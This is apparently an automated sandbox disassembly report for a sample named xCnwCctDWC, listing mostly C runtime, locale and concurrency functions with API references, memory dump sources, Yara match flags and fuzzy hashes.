Part of subcall function 0067BFC3: std::_Lockit::~_Lockit.LIBCPMT ref: 0067BFEE

std::locale::_Getfacet.LIBCPMT ref: 0067C421
std::_Facet_Register.LIBCPMT ref: 0067C452
std::_Lockit::~_Lockit.LIBCPMT ref: 0067C468
__CxxThrowException@8.LIBVCRUNTIME ref: 0067C486

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID:
API String ID: 2243866535-0
Opcode ID: 85abdb0988c3cddd0f6a8b60fdbc61777acb1b1010c60c0f2330721e54f81ae2
Instruction ID: 87ede87d61d540cccd27e329291640fe63cabf0de62cce7626064605a6e885de
Opcode Fuzzy Hash: 85abdb0988c3cddd0f6a8b60fdbc61777acb1b1010c60c0f2330721e54f81ae2
Instruction Fuzzy Hash: BF11E1718006189BCF50FBA4C856AED77B6AF44720F60851DF419BB292DF348E05CBA8

Function 0040C189 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040C19A
int.LIBCPMT ref: 0040C1B1

Part of subcall function 0040BD5C: std::_Lockit::_Lockit.LIBCPMT ref: 0040BD6D
Part of subcall function 0040BD5C: std::_Lockit::~_Lockit.LIBCPMT ref: 0040BD87

std::locale::_Getfacet.LIBCPMT ref: 0040C1BA
std::_Facet_Register.LIBCPMT ref: 0040C1EB
std::_Lockit::~_Lockit.LIBCPMT ref: 0040C201
__CxxThrowException@8.LIBVCRUNTIME ref: 0040C21F

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID:
API String ID: 2243866535-0
Opcode ID: 85abdb0988c3cddd0f6a8b60fdbc61777acb1b1010c60c0f2330721e54f81ae2
Instruction ID: ee53003dfc9470fa79d8cc5ab50186f75a1860792542933f5f9c6443a3e70220
Opcode Fuzzy Hash: 85abdb0988c3cddd0f6a8b60fdbc61777acb1b1010c60c0f2330721e54f81ae2
Instruction Fuzzy Hash: B2119172900219EBCB15EB90C881AAD7760AF44314F14053FE811BB2D2DB389A059B99

Function 004054D2 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004054E3
int.LIBCPMT ref: 004054FA

Part of subcall function 0040BD5C: std::_Lockit::_Lockit.LIBCPMT ref: 0040BD6D
Part of subcall function 0040BD5C: std::_Lockit::~_Lockit.LIBCPMT ref: 0040BD87

std::locale::_Getfacet.LIBCPMT ref: 00405503
std::_Facet_Register.LIBCPMT ref: 00405534
std::_Lockit::~_Lockit.LIBCPMT ref: 0040554A
__CxxThrowException@8.LIBVCRUNTIME ref: 00405568

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID:
API String ID: 2243866535-0
Opcode ID: 10913962cff3651302842d72b7cb42c766a1b7b0878e2d3a054d6c0589329772
Instruction ID: 21a092b80c120d3a1799ad65edf81cfe58c90a4d0a542ae4cd53e0a409a0227e
Opcode Fuzzy Hash: 10913962cff3651302842d72b7cb42c766a1b7b0878e2d3a054d6c0589329772
Instruction Fuzzy Hash: A711AC72D10628ABCB15EBA4C801AAE7774EF44318F14053EE811BB2D2DB389A058F9C

Function 00404E63 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00404E6A

Part of subcall function 0040BB47: __EH_prolog3_GS.LIBCMT ref: 0040BB4E

std::_Locinfo::_Locinfo.LIBCPMT ref: 00404EB5
__Getcoll.LIBCPMT ref: 00404EC4
std::_Locinfo::~_Locinfo.LIBCPMT ref: 00404ED4

Strings

fJ@, xrefs: 00404EBE

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: H_prolog3_Locinfostd::_$GetcollLocinfo::_Locinfo::~_
String ID: fJ@
API String ID: 1836011271-3478227103
Opcode ID: c526677c734dc493626db39d482cf98f5f5362d0ee08f882613185e0243459e5
Instruction ID: b09a35a98a06b47a9133a0f6fd6c3c5fe655fd81b24a3011873ef7005f6a19eb
Opcode Fuzzy Hash: c526677c734dc493626db39d482cf98f5f5362d0ee08f882613185e0243459e5
Instruction Fuzzy Hash: 160157719002089FDB00EFA5C481B9EB7B0BF80318F10857EE045AB6C1CB789A84CB99

Function 0042FEE4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,0042FE95,00000003,?,0042FE35,00000003,00457970,0000000C,0042FF8C,00000003,00000002), ref: 0042FF04
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0042FF17
FreeLibrary.KERNEL32(00000000,?,?,?,0042FE95,00000003,?,0042FE35,00000003,00457970,0000000C,0042FF8C,00000003,00000002,00000000), ref: 0042FF3A

Strings

mscoree.dll, xrefs: 0042FEFD
CorExitProcess, xrefs: 0042FF0F

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: a7c01f4cf2846fc1278f2b92eb4297b36712501a434ecdb6ef0bfa768b076a5b
Instruction ID: 2c645cf7ccd09daad3cc37133732e5cb7e12e7ad02a2fd82027b287817b89b2c
Opcode Fuzzy Hash: a7c01f4cf2846fc1278f2b92eb4297b36712501a434ecdb6ef0bfa768b076a5b
Instruction Fuzzy Hash: 00F0C830A10218BBDB109F90DD09B9EFFB4EF05B12F5100B6F805A2290CB799E44CB9C

Function 0067C87F Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 37COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 0067C8DE

Strings

|5g, xrefs: 0067C8C2, 0067C8CF, 0067C8D2
ios_base::failbit set, xrefs: 0067C8AB
ios_base::eofbit set, xrefs: 0067C8B0
ios_base::badbit set, xrefs: 0067C8A1, 0067C8C1

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Exception@8Throw
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set$|5g
API String ID: 2005118841-3002425786
Opcode ID: 4e72df4a54faba6b4a23b621e2ab49bac9e9259a8814ffb1d887fe638a498f77
Instruction ID: 7e7bc1531019784ad3b9c87f27261f3f557ba08fb30524b2a2d3678001fe7299
Opcode Fuzzy Hash: 4e72df4a54faba6b4a23b621e2ab49bac9e9259a8814ffb1d887fe638a498f77
Instruction Fuzzy Hash: FBF05673D001086BCB44D554CD42BEE37599B15331F14C06FED495B183EB649D05CB65

Function 0041CE0D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0041CE21
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0041CE45
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0041CE58
__CxxThrowException@8.LIBVCRUNTIME ref: 0041CE66

Strings

pScheduler, xrefs: 0041CE50

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentException@8Manager::Proxy::RemoveSchedulerThreadThrowstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 3657713681-923244539
Opcode ID: b7c09c7fa46f95498cdc0359c1e5e1487ada7160e74a5b8724d38a9ce94e1cb3
Instruction ID: 55b545704ffbdb88c77e4cd2f194ab5b8344582a808f7ff6d102e262485e3fbf
Opcode Fuzzy Hash: b7c09c7fa46f95498cdc0359c1e5e1487ada7160e74a5b8724d38a9ce94e1cb3
Instruction Fuzzy Hash: 7FF05935940714A7C714EA05DC82CDEB3799E90B18760822FE40963282DF3CA98AC29D

Function 006B08F1 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 006B08F8
make_shared.LIBCPMT ref: 006B0943

Strings

MOC, xrefs: 006B091B
v)D, xrefs: 006B08F3
RCC, xrefs: 006B092A

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: H_prolog3_catchmake_shared
String ID: MOC$RCC$v)D
API String ID: 3472968176-3108830043
Opcode ID: 97e7bd69da2a212c52dfa9d68122ee8a36af56c02b3e00c92559e584b2ae2017
Instruction ID: 0306b3c85346aa1feca89a8c2c53e17e0029c1f7d92ca7d30626976e98a34294
Opcode Fuzzy Hash: 97e7bd69da2a212c52dfa9d68122ee8a36af56c02b3e00c92559e584b2ae2017
Instruction Fuzzy Hash: 5CF03CB1A00615DFEF52FBA4C4016AD3B66AF01B00B459095F4445B662CB7C5D88CBA9

Function 0069B36D Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6c6193084eda7c089116deee67986cf6f8c182de1deee36b40da2a445f3b6d2
Instruction ID: a65f7dcb680f8bfc361cead1867e973c100085031bddf73e049b17d44f68f58e
Opcode Fuzzy Hash: c6c6193084eda7c089116deee67986cf6f8c182de1deee36b40da2a445f3b6d2
Instruction Fuzzy Hash: F171E3719002169BCF20CF58EA84AFFBBBFEF45720F55522AE41197A81D7708D42CBA0

Function 0042B106 Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c38956e1fcac5f369ef9c80324371170828598558401bce77602d6080795c3e
Instruction ID: bf4f81b698e6ff7fb3fc7778d7bd366b6aaf8ee244f588ee8458200c33ffab4c
Opcode Fuzzy Hash: 6c38956e1fcac5f369ef9c80324371170828598558401bce77602d6080795c3e
Instruction Fuzzy Hash: E7719D31A00366DBCB21CF95E884ABFBB75FF45360F98426AE81097290D7789D41C7E9

Function 006A0CAB Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006A390E: RtlAllocateHeap.NTDLL(00000000,0067DAD7,00000000), ref: 006A3940

_free.LIBCMT ref: 006A0DB6
_free.LIBCMT ref: 006A0DCD
_free.LIBCMT ref: 006A0DEC
_free.LIBCMT ref: 006A0E07
_free.LIBCMT ref: 006A0E1E

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: e6a1cd199720be507b115cfcd6438e99282708a3fba9711a6543aa0e9cd6d86a
Instruction ID: f34f6199961f5bff9d4286fe5edc6812a97cc72795b292f38a652d2872c27dbe
Opcode Fuzzy Hash: e6a1cd199720be507b115cfcd6438e99282708a3fba9711a6543aa0e9cd6d86a
Instruction Fuzzy Hash: 45518032A00704AFEB60BF69D841AAAB7F6EF5A720B14456DE809D7350E731ED01DF84

Function 00430A44 Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004336A7: RtlAllocateHeap.NTDLL(00000000,0040D870,00000000,?,0042679E,00000002,00000000,00000000,00000000,?,0040CD21,0040D870,00000004,00000000,00000000,00000000), ref: 004336D9

_free.LIBCMT ref: 00430B4F
_free.LIBCMT ref: 00430B66
_free.LIBCMT ref: 00430B85
_free.LIBCMT ref: 00430BA0
_free.LIBCMT ref: 00430BB7

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: 4b14be92388a641d302b0d73df062879f9d592ea064aecebb9857b6d72074d0e
Instruction ID: f55d0931b52299485a7a2c2bc17b7062c97d80267fd2ec389340ea5f3bc65001
Opcode Fuzzy Hash: 4b14be92388a641d302b0d73df062879f9d592ea064aecebb9857b6d72074d0e
Instruction Fuzzy Hash: 1B51E171A00304AFEB21AF69D851B6BB7F5EF5C724F14166EE809D7250E739E9018B88

Function 006A1742 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 006A17B4
_free.LIBCMT ref: 006A17D4

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 1c99ce021355179fcddcfd06fb8a158a48e66a022eb351b43cbd83f2af86aab5
Instruction ID: f98fb889dc87baa4af8d23d1084e759e8e0a4a9959badf49138f04eded258c49
Opcode Fuzzy Hash: 1c99ce021355179fcddcfd06fb8a158a48e66a022eb351b43cbd83f2af86aab5
Instruction Fuzzy Hash: 8D419036A002049FDB14EF78C981A9DB7E6EF86714F1545A9E915EF382D731ED01CB84

Function 004314DB Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0043154D
_free.LIBCMT ref: 0043156D

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 1c99ce021355179fcddcfd06fb8a158a48e66a022eb351b43cbd83f2af86aab5
Instruction ID: a8a3d8b7f400355b52e94c2f1cdfa5b65e8520eb193c97cf831389b305dd6f12
Opcode Fuzzy Hash: 1c99ce021355179fcddcfd06fb8a158a48e66a022eb351b43cbd83f2af86aab5
Instruction Fuzzy Hash: C641C332A00204AFCB10DF79C981A5EB7F5EF89718F25456AE616EB391DB35ED01CB84

Function 0043689D Relevance: 7.6, APIs: 5, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,23E85006,0042D0FA,00000000,00000000,0042D938,?,0042D938,?,00000001,0042D0FA,23E85006,00000001,0042D938,0042D938), ref: 004368EA
__alloca_probe_16.LIBCMT ref: 00436922
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00436973
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00436985
__freea.LIBCMT ref: 0043698E

Part of subcall function 004336A7: RtlAllocateHeap.NTDLL(00000000,0040D870,00000000,?,0042679E,00000002,00000000,00000000,00000000,?,0040CD21,0040D870,00000004,00000000,00000000,00000000), ref: 004336D9

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
String ID:
API String ID: 313313983-0
Opcode ID: 9c34806f26188793042e586e0c43cfd4b91246b94106e2b49bc92d76a4d51be1
Instruction ID: 7e388e7d71fb0b77ac45b15fa9433514929e8a136d1dde51ddb927b45f4c022b
Opcode Fuzzy Hash: 9c34806f26188793042e586e0c43cfd4b91246b94106e2b49bc92d76a4d51be1
Instruction Fuzzy Hash: AF310372A1020AABDF259F65CC41EAF7BA5EF48710F15422AFC04D7250E739CD54CB94

Function 0068B12D Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0068B152

Part of subcall function 00681188: _SpinWait.LIBCONCRT ref: 006811A0

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 0068B166
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 0068B198
List.LIBCMT ref: 0068B21B
List.LIBCMT ref: 0068B22A

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: f93c24b8a1523b9c675fef23dd34f18a22eb4e590b311a59263b58b7b5af817c
Instruction ID: 5f82db0e926dd1a2c6477da694be792646c4f93a70ff9ffc5245df56ebba5f20
Opcode Fuzzy Hash: f93c24b8a1523b9c675fef23dd34f18a22eb4e590b311a59263b58b7b5af817c
Instruction Fuzzy Hash: 5A317931900616DFCB50FFA4C9656EDB7B2BF05304F04126ED8516B742CB316A45CB98

Function 0041AEC6 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0041AEEB

Part of subcall function 00410F21: _SpinWait.LIBCONCRT ref: 00410F39

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 0041AEFF
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 0041AF31
List.LIBCMT ref: 0041AFB4
List.LIBCMT ref: 0041AFC3

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 56ae1a35d5e220295b2f308ff1a5f56c228e1c53cf17de30109191e3b59696cb
Instruction ID: 46db479fd15f51553f338c6c2feaa856f28efda07e700d063999dccf6460c254
Opcode Fuzzy Hash: 56ae1a35d5e220295b2f308ff1a5f56c228e1c53cf17de30109191e3b59696cb
Instruction Fuzzy Hash: 32316A71902755DFCB14EFA5D5415EEB7B1BF04308F04406FE40167242DB7869A6CB9A

Function 00402038 Relevance: 7.6, APIs: 5, Instructions: 80memoryfilewindowCOMMON

Download Yara Rule

APIs

GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0040206A
GdipAlloc.GDIPLUS(00000010), ref: 00402072
GdipCreateBitmapFromHBITMAP.GDIPLUS(?,00000000,?), ref: 0040208D
GdipSaveImageToFile.GDIPLUS(?,?,?,00000000), ref: 004020B7
GdiplusShutdown.GDIPLUS(?), ref: 004020E3

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Gdip$Gdiplus$AllocBitmapCreateFileFromImageSaveShutdownStartup
String ID:
API String ID: 2357751836-0
Opcode ID: 7108b4cc340b01935fd58cf7ceb6a2c11427f9f8c33d4fbb604f736708c6336b
Instruction ID: 6785f0869033a78d9e1d3ccf4ec12d3ecd4d06d6a9d1a5793ffee6b17630f5bc
Opcode Fuzzy Hash: 7108b4cc340b01935fd58cf7ceb6a2c11427f9f8c33d4fbb604f736708c6336b
Instruction Fuzzy Hash: 522151B5A0131AAFCB00DF65DD499AFBBB9FF49741B104436E902F3290D7759901CBA8

Function 006750C6 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo.LIBCPMT ref: 006750A3
std::_Locinfo::~_Locinfo.LIBCPMT ref: 006750B7
std::_Locinfo::_Locinfo.LIBCPMT ref: 0067511C
__Getcoll.LIBCPMT ref: 0067512B
std::_Locinfo::~_Locinfo.LIBCPMT ref: 0067513B

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Locinfostd::_$Locinfo::_Locinfo::~_$Getcoll
String ID:
API String ID: 2395760641-0
Opcode ID: 25fabf1443c9e93ed9a78f139e393b4244179813a50fca4ea195eeec06d8ece5
Instruction ID: 28e4399363e95bb6860785d2051b1ea2086588798e6f6bcdb7303bdc7869afe3
Opcode Fuzzy Hash: 25fabf1443c9e93ed9a78f139e393b4244179813a50fca4ea195eeec06d8ece5
Instruction Fuzzy Hash: 2E21B071814704EFDB90EFA4C445BDCB7B2BF50325F50C46DE0496B282DBB49A44CB99

Function 006A21C5 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(0067DAD7,0067DAD7,00000002,0069ED35,006A3951,00000000,?,00696A05,00000002,00000000,00000000,00000000,?,0067CF88,0067DAD7,00000004), ref: 006A21CA
_free.LIBCMT ref: 006A21FF
_free.LIBCMT ref: 006A2226
SetLastError.KERNEL32(00000000,?,0067DAD7), ref: 006A2233
SetLastError.KERNEL32(00000000,?,0067DAD7), ref: 006A223C

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 868f3b611709ec7aceee6e1f81eadbb74bd3caefd1ad767be0b3b05927239706
Instruction ID: 7409113f3588e771101a2bc626487dca6bc0d828728dd5d954ebf668cf9ca9a0
Opcode Fuzzy Hash: 868f3b611709ec7aceee6e1f81eadbb74bd3caefd1ad767be0b3b05927239706
Instruction Fuzzy Hash: BA014936284B023F82167B385C55E6B265FBFD37B2B20013CF81592392EEB08E024C2D

Function 00431F5E Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0042EACE,00434D7C,?,00431F08,00000001,00000364,?,0042DFE5,00457910,00000010), ref: 00431F63
_free.LIBCMT ref: 00431F98
_free.LIBCMT ref: 00431FBF
SetLastError.KERNEL32(00000000), ref: 00431FCC
SetLastError.KERNEL32(00000000), ref: 00431FD5

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 0d5363e4b9499eccdb5c1a3a84b8776c6d310bab5e63f5db74e86071099be707
Instruction ID: 0958b0acb89a9b0c851ef96239832ae32a3192186555c964954bc496c6487c7c
Opcode Fuzzy Hash: 0d5363e4b9499eccdb5c1a3a84b8776c6d310bab5e63f5db74e86071099be707
Instruction Fuzzy Hash: EA01F936249A007BD7122B266C45D2B262DEBD977AF21212FF804933F2EF6C8D02412D

Function 006A2141 Relevance: 7.6, APIs: 5, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0069A9EC,?,00000000,?,0069CDE6,0067247E,00000000,?,00451F20), ref: 006A2145
_free.LIBCMT ref: 006A2178
_free.LIBCMT ref: 006A21A0
SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 006A21AD
SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 006A21B9

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 2b001732bfb1c4e8fc0cfaf3f440710dee5aae3afad35715c20867ef47a009af
Instruction ID: 9999d6016e89f5778837dad67bb244820c183511b7b4d1053367ff276b324250
Opcode Fuzzy Hash: 2b001732bfb1c4e8fc0cfaf3f440710dee5aae3afad35715c20867ef47a009af
Instruction Fuzzy Hash: 70F0A9351C4A013BD6527738AC56A5A266B9FC3B62F21012CFB1592392EE618D06492D

Function 00431EDA Relevance: 7.6, APIs: 5, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0042DFE5,00457910,00000010), ref: 00431EDE
_free.LIBCMT ref: 00431F11
_free.LIBCMT ref: 00431F39
SetLastError.KERNEL32(00000000), ref: 00431F46
SetLastError.KERNEL32(00000000), ref: 00431F52

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 0ea10201b8900650499f2260cce22e5252e42022a6a0cd3438f6e6f2aed072af
Instruction ID: 3b026b3c5eee41f9d7def55204e2a076619a9c86630fc827cc9980c008d650a8
Opcode Fuzzy Hash: 0ea10201b8900650499f2260cce22e5252e42022a6a0cd3438f6e6f2aed072af
Instruction Fuzzy Hash: 6BF02D3A608A0077D61637356C06B1B26199FC9B26F31112FF815933F2EF2DC902452D

Function 00687B87 Relevance: 7.5, APIs: 5, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006829A4: TlsGetValue.KERNEL32(?,?,00680DC2,00682ECF,00000000,?,00680DA0,?,?,?,00000000,?,00000000), ref: 006829AA

Concurrency::details::InternalContextBase::LeaveScheduler.LIBCONCRT ref: 00687BB1

Part of subcall function 0069121A: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00691241
Part of subcall function 0069121A: Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0069125A
Part of subcall function 0069121A: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 006912D0
Part of subcall function 0069121A: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 006912D8

Concurrency::details::SchedulerBase::ReferenceForAttach.LIBCONCRT ref: 00687BBF
Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 00687BC9
Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 00687BD3
__CxxThrowException@8.LIBVCRUNTIME ref: 00687BF1

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$InternalScheduler$AttachAvailableBlockingDeferredException@8ExternalFindLeaveMakeNestingPrepareProcessor::PushReferenceThrowValueVirtualWork
String ID:
API String ID: 4266703842-0
Opcode ID: 43bf8fd66d7f6bc55a1f9fed9459738edd5fcdcb33f80e65f48924bbb37db955
